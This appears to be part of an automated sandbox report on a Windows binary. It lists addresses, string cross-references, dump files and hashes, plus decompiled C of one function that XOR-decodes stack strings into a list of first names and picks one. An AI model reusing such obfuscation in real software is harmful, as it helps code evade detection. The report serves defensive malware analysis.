0x0040e597
0x0040e59e
0x0040e5a5
0x0040e5a6
0x0040e5ad
0x0040e5ae
0x0040e5c0
0x0040e5c9
0x0040e5d0
0x0040e5df
0x0040e5e6
0x0040e5ed
0x0040e5fb
0x0040e60a
0x0040e611
0x0040e618
0x0040e61f
0x0040e626
0x0040e62e
0x0040e636
0x0040e63e
0x0040e646
0x0040e64d
0x0040e655
0x0040e65d
0x0040e665
0x0040e66d
0x0040e66f
0x0040e680
0x0040e687
0x0040e68e
0x0040e695
0x0040e696
0x0040e69d
0x0040e69e
0x0040e6bc
0x0040e6ca
0x0040e6de
0x0040e6ef
0x0040e6f6
0x0040e6ff
0x0040e709
0x0040e711
0x0040e718
0x0040e71f
0x0040e727
0x0040e72f
0x0040e737
0x0040e73f
0x0040e747
0x0040e74f
0x0040e757
0x0040e75f
0x0040e767
0x0040e76f
0x0040e777
0x0040e784
0x0040e785
0x0040e786
0x0040e78e
0x0040e796
0x0040e79e
0x0040e7a6
0x0040e7ae
0x0040e7b5
0x0040e7bd
0x0040e7c5
0x0040e7cd
0x0040e7d5
0x0040e7dd
0x0040e7e5
0x0040e7ec
0x0040e7f4
0x0040e7fc
0x0040e804
0x0040e80c
0x0040e813
0x0040e81b
0x0040e823
0x0040e82b
0x0040e833
0x0040e83b
0x0040e845
0x0040e846
0x0040e849
0x0040e850
0x0040e857
0x0040e85e
0x0040e865
0x0040e866
0x0040e86d
0x0040e86e
0x0040e88c
0x0040e89a
0x0040e8ad
0x0040e8be
0x0040e8c5
0x0040e8ce
0x0040e8d8
0x0040e8d9
0x0040e8e0
0x0040e8e7
0x0040e8ee
0x0040e8f5
0x0040e8fd
0x0040e905
0x0040e90d
0x0040e915
0x0040e91d
0x0040e925
0x0040e92d
0x0040e935
0x0040e93d
0x0040e945
0x0040e952
0x0040e953
0x0040e954
0x0040e95c
0x0040e964
0x0040e96c
0x0040e974
0x0040e97c
0x0040e983
0x0040e98b
0x0040e993
0x0040e99b
0x0040e9a3
0x0040e9ab
0x0040e9b2
0x0040e9ba
0x0040e9c2
0x0040e9ca
0x0040e9d2
0x0040e9da
0x0040e9e2
0x0040e9e9
0x0040e9f1
0x0040e9f9
0x0040ea01
0x0040ea09
0x0040ea11
0x0040ea19
0x0040ea1b
0x0040ea20
0x0040ea27
0x0040ea2e
0x0040ea35
0x0040ea36
0x0040ea3d
0x0040ea3e
0x0040ea5f
0x0040ea6d
0x0040ea7b
0x0040ea91
0x0040ea98
0x0040ea9f
0x0040eaa6
0x0040eaae
0x0040eab6
0x0040eabe
0x0040eac6
0x0040eace
0x0040ead5
0x0040eadd
0x0040eae5
0x0040eaed
0x0040eaf5
0x0040eafd
0x0040eaff
0x0040eb10
0x0040eb17
0x0040eb1e
0x0040eb25
0x0040eb26
0x0040eb2d
0x0040eb2e
0x0040eb4c
0x0040eb5d
0x0040eb6d
0x0040eb77
0x0040eb82
0x0040eb89
0x0040eb94
0x0040eb9f
0x0040ebaa
0x0040ebb5
0x0040ebbd
0x0040ebc8
0x0040ebd0
0x0040ebdf
0x0040ebee
0x0040ebf2
0x0040ebf6
0x0040ec01
0x0040ec0c
0x0040ec1b
0x0040ec26
0x0040ec2a
0x0040ec3d
0x0040ec44
0x0040ec4b
0x0040ec60
0x0040ec67
0x0040ec6e
0x0040ec83
0x0040ec91
0x0040ec98
0x0040ecad
0x0040ecb4
0x0040ecbb
0x0040ecc3
0x0040eccb
0x0040ecd3
0x0040ecdb
0x0040ece3
0x0040eceb
0x0040ecf2
0x0040ecf9
0x0040ed00
0x0040ed07
0x0040ed0e
0x0040ed23
0x0040ed2a
0x0040ed31
0x0040ed38
0x0040ed54
0x0040ed5b
0x0040ed62
0x0040ed77
0x0040ed7e
0x0040ed85
0x0040ed8c
0x0040ed93
0x0040ed9a
0x0040eda5
0x0040eda9
0x0040edad
0x0040edaf
0x0040edb2
0x0040edb2
0x0040edb4
0x0040edb5
0x0040edde

Strings

A, xrefs: 0040E306
a, xrefs: 0040E7BD
n, xrefs: 0040DDCE
r, xrefs: 0040E7D5
c, xrefs: 0040E518
a, xrefs: 0040E9DA
W, xrefs: 0040DF3A
a, xrefs: 0040E528
C, xrefs: 0040E747
d, xrefs: 0040E9CA
n, xrefs: 0040E9A3
!, xrefs: 0040E3FB
i, xrefs: 0040DD7E
lmada, xrefs: 0040ED07
d, xrefs: 0040E79E
m, xrefs: 0040E9F9
e, xrefs: 0040DC39
Ljq, xrefs: 0040E5C0
n, xrefs: 0040E1FE
n, xrefs: 0040E424
l, xrefs: 0040E786
s, xrefs: 0040E328
a, xrefs: 0040DDFE
a, xrefs: 0040E7A6
e, xrefs: 0040DDAD
t, xrefs: 0040E964
e, xrefs: 0040E63E
B, xrefs: 0040E2FC
h, xrefs: 0040ECC3
j, xrefs: 0040DEFD
o, xrefs: 0040E394
a, xrefs: 0040ECCB
i, xrefs: 0040DE06
r, xrefs: 0040EAB6
c, xrefs: 0040EAA6
g, xrefs: 0040E73F
,, xrefs: 0040E3CB
g, xrefs: 0040DD86
o, xrefs: 0040ECDB
a, xrefs: 0040DD76
a, xrefs: 0040E9BA
n, xrefs: 0040E42C
,, xrefs: 0040E30B
q, xrefs: 0040E557
n, xrefs: 0040E636
I, xrefs: 0040E8FD
3, xrefs: 0040E915
x$], xrefs: 0040E376
r, xrefs: 0040ECD3
o, xrefs: 0040E3BB
j, xrefs: 0040E55F
f, xrefs: 0040E2F7
t, xrefs: 0040E96C
s, xrefs: 0040E9B2
y, xrefs: 0040E1E6
(, xrefs: 0040E301
y, xrefs: 0040E974
O, xrefs: 0040E3DB
r, xrefs: 0040DC72
h, xrefs: 0040E39C
r, xrefs: 0040DD6E
W, xrefs: 0040E141
c, xrefs: 0040DD95
d, xrefs: 0040DDC4
S, xrefs: 0040E71F
e, xrefs: 0040E99B
b, xrefs: 0040DDA5
n, xrefs: 0040E9C2
e, xrefs: 0040DDE7
j, xrefs: 0040E38C
A, xrefs: 0040DF4A
i, xrefs: 0040E78E
e, xrefs: 0040E95C
a, xrefs: 0040E7DD
b, xrefs: 0040E954
o, xrefs: 0040EABE
dualc, xrefs: 0040EC6E
b, xrefs: 0040DC6A
e, xrefs: 0040DC7A
l, xrefs: 0040E520
m, xrefs: 0040DC2A
a, xrefs: 0040E62E
s, xrefs: 0040ECBB
fna, xrefs: 0040E8D9
d, xrefs: 0040DC1A
hyb, xrefs: 0040ED23
o, xrefs: 0040E1F6
t, xrefs: 0040DC8A
r, xrefs: 0040E9D2
l, xrefs: 0040E0E8
s, xrefs: 0040E108
n, xrefs: 0040E3A4
j, xrefs: 0040E626
!, xrefs: 0040E323
n, xrefs: 0040E7C5
n, xrefs: 0040ECE3
s, xrefs: 0040E7B5
a, xrefs: 0040EAAE
6, xrefs: 0040E3C3
a, xrefs: 0040DDDF
s, xrefs: 0040E1EE
N, xrefs: 0040DF5A
a, xrefs: 0040DC22
a, xrefs: 0040E434
a, xrefs: 0040DC12
@, xrefs: 0040DF62
d, xrefs: 0040DDD7
d, xrefs: 0040DE0E
rebyc, xrefs: 0040ED77
d, xrefs: 0040E7CD
l, xrefs: 0040EAC6
n, xrefs: 0040E796
u, xrefs: 0040E530
<, xrefs: 0040E777
d, xrefs: 0040DDF6
n, xrefs: 0040DC82
e, xrefs: 0040E0F8
y, xrefs: 0040DD9D

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID:
String ID: !$!$($,$,$3$6$<$@$A$A$B$C$I$Ljq$N$O$S$W$W$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$b$b$b$c$c$c$d$d$d$d$d$d$d$d$dualc$e$e$e$e$e$e$e$e$f$fna$g$g$h$h$hyb$i$i$i$j$j$j$j$l$l$l$l$lmada$m$m$n$n$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$q$r$r$r$r$r$r$rebyc$s$s$s$s$s$s$t$t$t$u$x$]$y$y$y
API String ID: 0-398216896
Opcode ID: ce3741639bc1cf717f24f2abe637986f3d059ce31b0b2ca965022daef158fd39
Instruction ID: c5a83b74dec2316b06199bc6d02a65caf83b557affd31af2356962b1724c0ca9
Opcode Fuzzy Hash: ce3741639bc1cf717f24f2abe637986f3d059ce31b0b2ca965022daef158fd39
Instruction Fuzzy Hash: 9AA2DF2400D7C189E332CA7894587DFFFD11BA6318F089E9ED4ED6A292C6B60259C777

Uniqueness

Uniqueness Score: -1.00%

Function 0040DE56, Relevance: 114.5, Strings: 91, Instructions: 706
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E0040DE56(void* __eax, char __ebx, void* __esi, signed char _a1, signed char _a2, signed char _a3, intOrPtr _a4, char* _a8, void* _a12, char _a13, char _a14, char _a15, void* _a16, char _a17, char _a18, char _a19, char* _a20, char* _a24, char* _a28, char* _a32, intOrPtr _a36, intOrPtr _a40, char* _a44, intOrPtr _a48, char* _a52, char* _a56, char* _a60, signed int _a64, char* _a68, signed int* _a72, intOrPtr _a76, signed int* _a80, char* _a84, intOrPtr _a88, char* _a92, char* _a96, char* _a100, intOrPtr _a104, signed char* _a108, char* _a112, intOrPtr _a116, char* _a120, intOrPtr _a124, char* _a128, intOrPtr _a132, char* _a136, signed char* _a140, signed int* _a144, signed char* _a148, signed int* _a152, intOrPtr _a156, signed char _a160, signed char _a161, signed char _a162, signed char _a163, signed char _a164, signed int _a165, signed int _a168, signed int _a169, signed int _a170, signed int _a171, signed int _a172, signed int _a173, signed int _a176, signed int _a177, signed int _a178, signed int _a179, signed int _a180, signed int _a181, char _a182, char _a184, signed int _a185, signed int _a186, signed int _a187, signed int _a188, signed int _a189, signed int _a190, signed int _a192, signed int _a193, signed int _a194, signed int _a195, signed int _a196, signed int _a197, char _a200, signed int _a208, signed int _a209, signed int _a210, signed int _a211, signed int _a212, signed int _a213, signed int _a214, signed int _a216, signed int _a217, signed int _a218, signed int _a219, signed int _a220, signed int _a221, char _a224, char _a225, char _a226, char _a227, char _a228, char _a229, char _a230, char _a231, char _a232, char _a233, char _a234, char _a235, char _a236, char _a240, char _a248, char _a249, char _a250, char _a251, char _a252, char _a253, char _a256, char _a257, char _a258, char _a259, char _a260, char _a261, char _a264, signed char _a272, signed char _a273, signed char _a274, signed char _a275, signed char _a276, signed char _a277, char _a280, char _a296, char _a304, char _a312, char _a313, char _a314, char _a315, char _a316, char _a317, char _a320, signed char _a328, signed char _a329, signed char _a330, signed char _a331, signed char _a332, signed char _a333, char _a336, char _a337, char _a338, char _a339, char _a340, char _a341, char _a352, char _a360, signed char _a368, signed char _a369, signed char _a370, signed char _a371, signed char _a372, signed char _a373, signed char _a376, signed char _a377, signed char _a378, signed char _a379, signed char _a380, signed char _a381, char _a392, char _a393, char _a394, char _a395, char _a396, char _a397, char _a400, char _a401, char _a402, char _a403, char _a404, char _a405, char _a408, char _a416, signed char _a424, signed char _a425, signed char _a426, signed char _a427, signed char _a428, signed char _a429, signed char _a430, signed char _a432, signed char _a433, signed char _a434, signed char _a435, signed char _a436, signed char _a437, signed char _a438, char _a448, char _a449, char _a450, char _a451, char _a452, char _a453, char _a454, char _a455, char _a464, char _a465, char _a466, char _a467, char _a468, char _a469, char _a470, char _a471) {
				signed char _v0;
				char _v1;
				char _v2;
				char _v3;
				char _v4;
				intOrPtr _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				intOrPtr _v16;
				signed int _v17;
				signed int _v18;
				signed int _v19;
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v44;
				void* _t545;
				char* _t551;
				void* _t553;
				void* _t561;
				void* _t566;
				void* _t573;
				void* _t579;
				void* _t586;
				void* _t592;
				void* _t600;
				char _t607;
				char _t612;
				signed int _t630;
				intOrPtr* _t632;
				char _t638;
				char _t646;
				char _t653;
				char _t658;
				char _t664;
				char _t674;
				char _t679;
				char _t685;
				void* _t691;
				void* _t696;
				signed int _t713;
				intOrPtr _t714;
				void* _t783;
				void* _t784;
				void* _t785;
				intOrPtr _t787;
				void* _t788;
				void* _t790;
				void* _t791;
				void* _t792;
				void* _t793;
				char _t794;
				void* _t795;
				void* _t796;
				void* _t797;
				void* _t798;
				void* _t799;
				char _t800;
				intOrPtr _t804;
				void* _t806;

				_t790 = __esi;
				_t545 = __eax;
				do {
					_t638 =  *((intOrPtr*)(_t806 + _t545 + 0xd8));
					 *((char*)(_t806 + _t545 + 0xd8)) =  *((intOrPtr*)(_t806 + _t790 + 0xd8));
					_t545 = _t545 + 1;
					 *((char*)(_t806 + _t790 + 0xd8)) = _t638;
					_t790 = _t790 - 1;
				} while (_t545 < _t790);
				_a376 = _a216 ^ 0x00000048;
				_a377 = _a217 ^ 0x0000000d;
				_a378 = _a218 ^ 0x00000002;
				_a379 = _a219 ^ 0x00000003;
				_push(4);
				_a380 = _a220 ^ 0x0000000c;
				_push( &_a16);
				 *0x431c89 = 0x19;
				_a381 = _a221 ^ 0x00000085;
				_a16 = 0xc1;
				_a17 = 0x6a;
				_a18 = 0x1d;
				_a19 = 4;
				_a12 = 0xb0;
				_a13 = 0xd4;
				_a14 = 0xb1;
				_a15 = 0xdf;
				_t551 = E0040D980( &_a12);
				_push(6);
				_push( &_a392);
				_a44 = _t551;
				_a392 = 0x57;
				_a393 = 0xc8;
				_a394 = 0x41;
				_a395 = 3;
				_a396 = 0x4e;
				_a397 = 0x40;
				_a208 = 0xd4;
				_a209 = 0xb2;
				_a210 = 0xc0;
				_a211 = 0xa1;
				_a212 = 0xcf;
				_a213 = 0xa4;
				_a24 = E0040D980( &_a208);
				_a208 = 0x78;
				_a209 = 0x39;
				_a210 = 0xb1;
				_a211 = 0xa4;
				_a212 = 0xe;
				_a213 = 0x10;
				_a214 = 9;
				_t553 = 0;
				_t784 = _t783;
				_t791 = 6;
				do {
					_t646 =  *((intOrPtr*)(_t806 + _t553 + 0xe0));
					 *((char*)(_t806 + _t553 + 0xe0)) =  *((intOrPtr*)(_t806 + _t791 + 0xe0));
					_t553 = _t553 + 1;
					 *((char*)(_t806 + _t791 + 0xe0)) = _t646;
					_t791 = _t791 - 1;
				} while (_t553 < _t791);
				_a432 = _a208 ^ 0x0000006e;
				_a433 = _a209 ^ 0x00000075;
				_a434 = _a210 ^ 0x00000061;
				_a435 = _a211 ^ 0x000000d6;
				_a436 = _a212 ^ 0x000000d6;
				_push(8);
				_push( &_a464);
				_a437 = _a213 ^ 0x0000005c;
				 *0x431c89 = 0x19;
				_a438 = _a214 ^ 0x00000078;
				_a464 = 0xef;
				_a465 = 0xb3;
				_a466 = 0x36;
				_a467 = 0x5a;
				_a468 = 0x64;
				_a469 = 0x36;
				_a470 = 0xbd;
				_a471 = 0x1b;
				_a224 = 0x1c;
				_a225 = 0x7b;
				_a226 = 0x1e;
				_a227 = 0x6c;
				_a228 = 4;
				_a229 = 0x65;
				_a230 = 0x17;
				_a231 = 0x73;
				_a20 = E0040D980( &_a224);
				_a192 = 0x1b;
				_a193 = 0xd3;
				_a194 = 0xb2;
				_a195 = 0xb7;
				_a196 = 0xd9;
				_a197 = 0x57;
				_t561 = 0;
				_t792 = 5;
				do {
					_t653 =  *((intOrPtr*)(_t806 + _t561 + 0xd8));
					 *((char*)(_t806 + _t561 + 0xd8)) =  *((intOrPtr*)(_t806 + _t792 + 0xd8));
					_t561 = _t561 + 1;
					 *((char*)(_t806 + _t792 + 0xd8)) = _t653;
					_t792 = _t792 - 1;
				} while (_t561 < _t792);
				_a328 = _a192 ^ 0x0000003d;
				_a329 = _a193 ^ 0x000000b8;
				_a330 = _a194 ^ 0x000000da;
				_a331 = _a195 ^ 0x000000d7;
				_a332 = _a196 ^ 0x000000a0;
				_a333 = _a197 ^ 0x0000001b;
				_a432 = 0x6a;
				_a433 = 0x61;
				_a434 = 0x79;
				_a435 = 0x73;
				_a436 = 0x6f;
				_a437 = 0x6e;
				_a438 = __ebx;
				_a192 = 0x5d;
				_a193 = 0xdf;
				_a194 = 0x27;
				_a195 = 0xb2;
				_a196 = 0x24;
				_a197 = 0xa9;
				_t566 = 0;
				_t793 = 5;
				do {
					_t658 =  *((intOrPtr*)(_t806 + _t566 + 0xd8));
					 *((char*)(_t806 + _t566 + 0xd8)) =  *((intOrPtr*)(_t806 + _t793 + 0xd8));
					_t566 = _t566 + 1;
					 *((char*)(_t806 + _t793 + 0xd8)) = _t658;
					_t793 = _t793 - 1;
				} while (_t566 < _t793);
				_a368 = _a192 ^ 0x000000c3;
				_a369 = _a193 ^ 0x00000041;
				_a370 = _a194 ^ 0x000000c0;
				_a371 = _a195 ^ 0x00000055;
				_push(4);
				_a372 = _a196 ^ 0x000000a6;
				_push( &_v4);
				 *0x431c89 = 0x19;
				_a373 = _a197 ^ 0x0000005d;
				_v4 = 0x89;
				_v3 = 0xda;
				_v2 = 8;
				_v1 = 0x66;
				_v12 = 0x42;
				_v11 = 0x28;
				_v10 = 0x41;
				_v9 = 0x2c;
				_a4 = E0040D980( &_v12);
				_v20 = 0xb7;
				_v19 = 0xde;
				_v18 = 0x21;
				_v17 = 0x73;
				_t573 = 0;
				_t794 = 3;
				do {
					_t664 =  *((intOrPtr*)(_t806 + _t573 + 0xc));
					 *((char*)(_t806 + _t573 + 0xc)) =  *((intOrPtr*)(_t806 + _t794 + 0xc));
					_t573 = _t573 + 1;
					 *((char*)(_t806 + _t794 + 0xc)) = _t664;
					_t794 = _t794 - 1;
				} while (_t573 < _t794);
				_v0 = _v20 ^ 0x00000019;
				_a1 = _v19 ^ 0x0000004e;
				_push(6);
				_push( &_a312);
				_t184 =  &_a184; // 0x78
				_a2 = _v18 ^ 0x000000bb;
				 *0x431c89 = 0x19;
				_a3 = _v17 ^ 0x000000b7;
				_a216 = 0x6a;
				_a217 = 0x6f;
				_a218 = 0x68;
				_a219 = 0x6e;
				_a220 = __ebx;
				_a312 = 0xf5;
				_a313 = 0x6f;
				_a314 = 0x36;
				_a315 = 0x2c;
				_a316 = 0x84;
				_a317 = 0x4f;
				_a184 = 0x45;
				_a185 = 0x24;
				_a186 = 0x48;
				_a187 = 0x21;
				_a188 = 0x42;
				_a189 = 0x27;
				_v28 = E0040D980(_t184);
				_a232 = 0x61;
				_a233 = 0x6e;
				_a234 = 0x6e;
				_a235 = 0x61;
				_a236 = __ebx;
				_a184 = 0x6e;
				_a185 = 0x3b;
				_a186 = 0x97;
				_a187 = 0xd3;
				_a188 = 0x92;
				_a189 = 0xcb;
				_a190 = 0x44;
				_t579 = 0;
				_t785 = _t784;
				_t795 = 6;
				do {
					_t218 = _t795 + 0xe0; // 0x6e
					_t220 = _t579 + 0xe0; // 0x6e
					 *((char*)(_t806 + _t579 + 0xe0)) =  *((intOrPtr*)(_t806 + _t218));
					_t579 = _t579 + 1;
					 *((char*)(_t806 + _t795 + 0xe0)) =  *((intOrPtr*)(_t806 + _t220));
					_t795 = _t795 - 1;
				} while (_t579 < _t795);
				_t225 =  &_a184; // 0x6e
				_a424 =  *_t225 ^ 0x00000026;
				_a427 = _a187 ^ 0x000000bd;
				_a425 = _a185 ^ 0x000000b9;
				_a426 = _a186 ^ 0x000000f7;
				_a430 = _a190 ^ 0x0000006e;
				_a428 = _a188 ^ 0x000000f3;
				_a429 = _a189 ^ 0x0000005a;
				_a448 = 0x63;
				_a449 = 0x6c;
				_a450 = 0x61;
				_a451 = 0x75;
				_a452 = 0x64;
				_a453 = 0x69;
				_a454 = 0x61;
				_a455 = __ebx;
				_a176 = 0x71;
				_a177 = 0x6a;
				_a178 = 0x4c;
				_a179 = 0x72;
				_a180 = 0x4d;
				_a181 = 1;
				_t586 = 0;
				_t796 = 5;
				_push(_t785);
				do {
					_t674 =  *((intOrPtr*)(_t806 + _t586 + 0xd8));
					 *((char*)(_t806 + _t586 + 0xd8)) =  *((intOrPtr*)(_t806 + _t796 + 0xd8));
					_t586 = _t586 + 1;
					 *((char*)(_t806 + _t796 + 0xd8)) = _t674;
					_t796 = _t796 - 1;
				} while (_t586 < _t796);
				_t263 =  &_a178; // 0x4c
				_a328 = _a176 ^ 0x00000069;
				_t265 =  &_a179; // 0x72
				_a329 = _a177 ^ 0x00000028;
				_t267 =  &_a180; // 0x4d
				_a330 =  *_t263 ^ 0x0000001e;
				_a331 =  *_t265 ^ 0x00000029;
				_a178 = 0xb5;
				_a179 = 0xb5;
				_a332 =  *_t267 ^ 0x00000004;
				_a333 = _a181 ^ 0x00000071;
				_a248 = 0x6a;
				_a249 = 0x61;
				_a250 = 0x6e;
				_a251 = 0x65;
				_a252 = __ebx;
				_a176 = 0x16;
				_a177 = 0xa9;
				_a180 = 0x78;
				_a181 = 0xb9;
				_t592 = 0;
				_t797 = 5;
				do {
					_t679 =  *((intOrPtr*)(_t806 + _t592 + 0xd8));
					 *((char*)(_t806 + _t592 + 0xd8)) =  *((intOrPtr*)(_t806 + _t797 + 0xd8));
					_t592 = _t592 + 1;
					 *((char*)(_t806 + _t797 + 0xd8)) = _t679;
					_t797 = _t797 - 1;
				} while (_t592 < _t797);
				_a368 = _a176 ^ 0x000000d4;
				_a369 = _a177 ^ 0x00000019;
				_a370 = _a178 ^ 0x000000c7;
				_a371 = _a179 ^ 0x000000dc;
				_push(6);
				_a372 = _a180 ^ 0x000000c8;
				_push( &_a400);
				 *0x431c89 = 0x19;
				_a373 = _a181 ^ 0x00000016;
				_a400 = 0x53;
				_a401 = 0x8b;
				_a402 = 0xa2;
				_a403 = 0x94;
				_a404 = 0x67;
				_a405 = 0x43;
				_a176 = 0x66;
				_a177 = 0x35;
				_a178 = 0x40;
				_a179 = 0x33;
				_a180 = 0x52;
				_a181 = 0x3c;
				_push(E0040D980( &_a176));
				_pop(_t804);
				_a376 = 0x6c;
				_a377 = 0x69;
				_a378 = 0x6e;
				_a379 = 0x64;
				_a380 = 0x61;
				_a381 = __ebx;
				_a424 = 0x73;
				_a425 = 0x61;
				_a426 = 0x6e;
				_a427 = 0x64;
				_a428 = 0x72;
				_a429 = 0x61;
				_a430 = __ebx;
				_a216 = 0x6c;
				_a217 = 0x69;
				_a218 = 0x73;
				_a219 = 0x61;
				_a220 = __ebx;
				_a168 = 0x61;
				_a169 = 1;
				_a170 = 0x45;
				_a171 = 0xff;
				_a172 = 0x6e;
				_a173 = 0xf4;
				_push(0);
				_pop(_t600);
				_t798 = 5;
				do {
					_t685 =  *((intOrPtr*)(_t806 + _t600 + 0xdc));
					 *((char*)(_t806 + _t600 + 0xdc)) =  *((intOrPtr*)(_t806 + _t798 + 0xdc));
					_t600 = _t600 + 1;
					 *((char*)(_t806 + _t798 + 0xdc)) = _t685;
					_t798 = _t798 - 1;
				} while (_t600 < _t798);
				_a368 = _a168 ^ 0x00000099;
				_a369 = _a169 ^ 0x0000000f;
				_a370 = _a170 ^ 0x00000091;
				_a371 = _a171 ^ 0x00000026;
				_push(6);
				_a372 = _a172 ^ 0x00000078;
				_push( &_a336);
				_t362 =  &_a168; // 0x66
				 *0x431c89 = 0x19;
				_a373 = _a173 ^ 0x00000061;
				_a336 = __ebx;
				_a337 = 0xc3;
				_a338 = 0x49;
				_a339 = 0x83;
				_a340 = 0xfc;
				_a341 = 0x33;
				_a168 = 0x75;
				_a169 = 0x1e;
				_a170 = 0x7f;
				_a171 = 0xd;
				_a172 = 0x68;
				_a173 = 6;
				_push(E0040D980(_t362));
				_pop(_t787);
				_a248 = 0x62;
				_a249 = 0x65;
				_a250 = 0x74;
				_a251 = 0x74;
				_a252 = 0x79;
				_a253 = __ebx;
				_a256 = 0x68;
				_a257 = 0x65;
				_a258 = 0x6c;
				_a259 = 0x65;
				_a260 = 0x6e;
				_a261 = __ebx;
				_a184 = 0x73;
				_a185 = 0x61;
				_a186 = 0x6e;
				_a187 = 0x64;
				_a188 = 0x72;
				_a189 = 0x61;
				_a190 = __ebx;
				_a160 = 8;
				_a161 = 0xf;
				_a162 = 0x6d;
				_a163 = 0xa3;
				_a164 = 0x9f;
				_a165 = 0x98;
				_t691 = 0;
				_t799 = 5;
				do {
					_t607 =  *((intOrPtr*)(_t806 + _t691 + 0xdc));
					 *((char*)(_t806 + _t691 + 0xdc)) =  *((intOrPtr*)(_t806 + _t799 + 0xdc));
					_t691 = _t691 + 1;
					 *((char*)(_t806 + _t799 + 0xdc)) = _t607;
					_t799 = _t799 - 1;
				} while (_t691 < _t799);
				_a273 = _a161 ^ 0x000000f0;
				_a272 = _a160 ^ 0x000000dc;
				_a274 = _a162 ^ 0x000000cd;
				_a276 = _a164 ^ 0x0000006e;
				_a275 = _a163 ^ 0x00000003;
				_a277 = _a165 ^ 0x00000008;
				_a168 = 0x63;
				_a169 = 0x61;
				_a170 = 0x72;
				_a171 = 0x6f;
				_a172 = 0x6c;
				_a173 = __ebx;
				_a176 = 0xee;
				_a177 = 0x5b;
				_a178 = 0xc5;
				_a179 = 0x99;
				_a180 = 0x2f;
				_t696 = 0;
				_t800 = 4;
				do {
					_t612 =  *((intOrPtr*)(_t806 + _t696 + 0xec));
					 *((char*)(_t806 + _t696 + 0xec)) =  *((intOrPtr*)(_t806 + _t800 + 0xec));
					_t696 = _t696 + 1;
					 *((char*)(_t806 + _t800 + 0xec)) = _t612;
					_t800 = _t800 - 1;
				} while (_t696 < _t800);
				_a160 = _a176 ^ 0x0000005d;
				_a161 = _a177 ^ 0x000000ec;
				_a162 = _a178 ^ 0x000000b1;
				_a163 = _a179 ^ 0x00000033;
				_a164 = _a180 ^ 0x000000ee;
				_a4 = _v8;
				_v0 =  &_a200;
				_a8 =  &_a240;
				_a12 =  &_a264;
				_a16 =  &_a376;
				_a20 =  &_v32;
				_a24 =  &_a224;
				_a36 = _v4;
				_a28 =  &_a280;
				_a32 =  &_a320;
				_a40 = _v16;
				_a48 = _v12;
				_a44 =  &_a392;
				_a52 =  &_a296;
				_a56 =  &_a400;
				_a60 =  &_a336;
				_a64 = _v20;
				_a68 =  &_v24;
				_a72 =  &_a192;
				_a76 = _v44;
				_a80 =  &_a216;
				_a84 =  &_a408;
				_t494 =  &_a432; // 0x64
				_a88 = _t494;
				_a92 =  &_a312;
				_a96 =  &_a232;
				_a100 =  &_a352;
				 *0x431c89 = 0x19;
				_a176 = 0x73;
				_a177 = 0x68;
				_a178 = 0x61;
				_a179 = 0x72;
				_a180 = 0x6f;
				_a181 = 0x6e;
				_a182 = __ebx;
				_a104 = _t804;
				_a108 =  &_a368;
				_a112 =  &_a416;
				_t514 =  &_a208; // 0x6c
				_a116 = _t514;
				_t518 =  &_a256; // 0x68
				_a120 =  &_a360;
				_a128 =  &_a248;
				_a132 = _t518;
				_a136 =  &_a184;
				_a140 =  &_a272;
				_a144 =  &_a168;
				_t530 =  &_a304; // 0x72
				_a124 = _t787;
				_a148 =  &_a160;
				_a152 =  &_a176;
				_a156 = _t530;
				_t630 = E0040C1D0( &_a176);
				_t713 = 0x28;
				_t801 =  *((intOrPtr*)(_t806 + 0x38 + _t630 % _t713 * 4));
				_t632 =  *((intOrPtr*)(_t806 + 0x38 + _t630 % _t713 * 4));
				_t788 = _t632 + 1;
				do {
					_t714 =  *_t632;
					_t632 = _t632 + 1;
				} while (_t714 != __ebx);
				return E00424873(E004028A0(_a448, _t801, _t632 - _t788), _a432);
			}

0x0040de56
0x0040de56
0x0040de60
0x0040de67
0x0040de6e
0x0040de75
0x0040de76
0x0040de7d
0x0040de7e
0x0040de9c
0x0040deaa
0x0040debd
0x0040dece
0x0040ded5
0x0040dedb
0x0040dee5
0x0040deea
0x0040def1
0x0040def8
0x0040defd
0x0040df02
0x0040df07
0x0040df0c
0x0040df11
0x0040df16
0x0040df1b
0x0040df20
0x0040df25
0x0040df2e
0x0040df36
0x0040df3a
0x0040df42
0x0040df4a
0x0040df52
0x0040df5a
0x0040df62
0x0040df6a
0x0040df72
0x0040df7a
0x0040df82
0x0040df8a
0x0040df92
0x0040df9f
0x0040dfa3
0x0040dfab
0x0040dfb3
0x0040dfbb
0x0040dfc3
0x0040dfcb
0x0040dfd3
0x0040dfdb
0x0040dfde
0x0040dfe1
0x0040dfe2
0x0040dfe9
0x0040dff0
0x0040dff7
0x0040dff8
0x0040dfff
0x0040e000
0x0040e01e
0x0040e02c
0x0040e042
0x0040e050
0x0040e05e
0x0040e065
0x0040e073
0x0040e07b
0x0040e082
0x0040e089
0x0040e090
0x0040e098
0x0040e0a0
0x0040e0a8
0x0040e0b0
0x0040e0b8
0x0040e0c0
0x0040e0c8
0x0040e0d0
0x0040e0d8
0x0040e0e0
0x0040e0e8
0x0040e0f0
0x0040e0f8
0x0040e100
0x0040e108
0x0040e115
0x0040e119
0x0040e121
0x0040e129
0x0040e131
0x0040e139
0x0040e141
0x0040e149
0x0040e14f
0x0040e150
0x0040e157
0x0040e15e
0x0040e165
0x0040e166
0x0040e16d
0x0040e16e
0x0040e18f
0x0040e19d
0x0040e1ab
0x0040e1c1
0x0040e1c8
0x0040e1cf
0x0040e1d6
0x0040e1de
0x0040e1e6
0x0040e1ee
0x0040e1f6
0x0040e1fe
0x0040e206
0x0040e20d
0x0040e215
0x0040e21d
0x0040e225
0x0040e22d
0x0040e235
0x0040e23d
0x0040e243
